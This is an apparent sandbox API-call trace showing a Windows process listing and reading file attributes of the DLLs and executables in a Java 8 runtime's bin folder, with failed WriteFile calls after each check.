	[0244.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40)) returned 1
	[0244.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40)) returned 1
	[0244.618] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40)) returned 1
	[0244.631] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440)) returned 1
	[0244.632] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240)) returned 1
	[0244.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040)) returned 1
	[0244.634] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040)) returned 1
	[0244.635] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840)) returned 1
	[0244.639] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440)) returned 1
	[0244.641] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040)) returned 1
	[0244.642] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.645] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.645] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1
	[0244.645] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1
	[0244.645] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.645] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.645] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840)) returned 1
	[0244.646] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640)) returned 1
	[0244.646] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440)) returned 1
	[0244.646] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040)) returned 1
	[0244.648] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40)) returned 1
	[0244.651] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40)) returned 1
	[0244.651] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440)) returned 1
	[0244.652] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440)) returned 1
	[0244.660] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40)) returned 1
	[0244.661] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240)) returned 1
	[0244.661] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40)) returned 1
	[0244.662] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840)) returned 1
	[0244.662] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240)) returned 1
	[0244.663] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640)) returned 1
	[0244.663] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1
	[0244.673] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
